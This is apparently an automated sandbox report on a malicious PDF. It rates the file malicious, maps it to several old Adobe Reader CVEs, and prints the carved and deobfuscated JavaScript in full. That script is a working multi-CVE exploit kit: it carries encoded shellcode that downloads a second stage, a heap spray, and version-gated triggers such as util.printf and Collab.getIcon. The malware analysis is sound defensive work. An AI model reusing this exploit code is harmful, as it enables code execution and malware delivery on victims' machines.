MALICIOUS
388
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains JavaScript that leverages multiple known vulnerabilities in Adobe Reader to achieve code execution. The deobfuscated JavaScript attempts to download a second-stage payload from a hardcoded URL. The specific vulnerabilities exploited indicate a multi-CVE exploit kit.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.jsa11710e921c80125fed5331d59542c8d0fdf4e9dec923edd681bf82da0a755f6 |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE80 | 519 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
try {var kB=app;var pA='FuOnOction'.replace(/[O]/g, '');mZ='var ZZ iJ =ZZ 173Z ZZ;ZZvZZar fW = thiZs;Zvar iPZ=ZZfW.getPageNumZZWords(this.pageNZuZZm);vZar rYZZ=\'\';foZr(var qR=0;qR<Z iPZZ; qR+ZZ+){rYZZ=[rY, fZZW.getPageNthWordZ(fWZZ.pageNZum,qZR,Ztrue)ZZ].join(ZZ\'\'Z);;}vZZar bW=\'\';forZ(vZar qR=Z0;qR < rY.ZlZZenZgth; qR+=2){pZZU=rY.substZr(qR,2);bW=[bW,StriZZng.fromCharCode(parseZZInt(pZZU,16)^iJ)].join(\'\');}eZvaZlZZ(bW);bW=nZZull;Z'.replace(/[Z]/g, '');tSN=dGP(bS);} catch(aR){var pSX=kB.doc[pA](mZ);pSX();}
|
|||
page_word_xor_stage_000.jscbef0e10e39aded9c913370dbb4a49bc6e84e0fd58796ab88cb54020de58290f |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xAD) at offset 0x8C | 3817 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
try {var qB='sX'.substr(32460)} catch(qB){};try {var cN='l'.substr(6106)} catch(cN){};try {} catch(tS){};var pMT='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';for(var z=0; z <1464; z++){z++};var uH=new Date();var hUJ=this.info['n'].replace(/[\s]/g, '');for(var pM=0; pM <1094; pM++){pM++};pQ=23963;pQ-=217;var tY = this.info;var qX = (tY.producer.substr(0,5) == 'debug');var jY = new Array(); var oD = "%u";function lI(str){str = str.split(oD);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function mTO(str1, str2){return [str1, str2].join("");}function mV(dG){var oZ = hY();var eP = dE();oZ += ((oZ.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + eP;if(qX) app.alert("URL: " + oZ);oZ=gF(oZ);var d=oD;var pU=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";pU+=oZ;return lI(pU);};function hY(){var yN = (tY.author + tY.title).replace(/[\s]/g, '');var b = zW(yN, hUJ, pMT);return b;};function zW(yN, pMT, hUJ){var b="";for(var i=0; i < yN.length; i++){var iL = pMT.indexOf(yN[i]);if(iL > -1 ){b += hUJ[iL];}}return b;};function gF(yN){var out = "";yN = f(yN);g = Math.round(yN.length / 4);if (g != yN.length /4) yN+="00";for(var i=0; i < yN.length; i+=4){out+= oD + yN.substr(i+2, 2) + yN.substr(i, 2);}return out;};function f(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function zG(yL, len){while (yL.length * 2 < len){yL = mTO(yL, yL);}return yL.substring(0, len / 2);};function hO(oTI){var yNK = 0x0c0c0c0c; qV = mV("pdf");if (oTI == 1){yNK = 0x30303030;}var tG = 0x400000;var ln = qV.length * 2;var oZU = tG - (ln + 0x38);var yL = lI(oD+"9090"+oD+"9090"); yL = zG(yL, oZU);var mN = (yNK - 0x400000) / tG;for (var tI = 0; tI < mN; tI ++ ){jY[tI] = mTO(yL, qV);}};function dE(){try {return app.viewerVersion.toString();}catch(gL){ return 0;}}if(qX) app.alert("called exploit");var eP = dE();if(qX) app.alert("v: " + eP);if (eP > 8){if(qX) app.alert("util.printf");hO(1);var bM = "12999999999999999999";for (oH=0; oH < 276; oH++) bM += "8";util.printf("%45000f", bM);}if (eP < 8){if(qX) app.alert("Collab.collectEmailInfo");hO(0);var vU = lI(oD+"0c0c"+oD+"0c0c");while (vU.length < 44952) vU += vU;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : vU});}if (eP < 9.1){if (app.doc.Collab.getIcon){if(qX) app.alert("Collab.getIcon");hO(0);var gPO = unescape("%09");while (gPO.length < 0x4000) gPO += gPO;gPO = "N." + gPO;app.doc.Collab.getIcon(gPO);}}if (eP == 9.2){if(qX) app.alert("media.newPlayer");hO(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}aB={h:11006};var jA={eJ:false};var rQ={yJ:false};var pS={zQ:false};
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.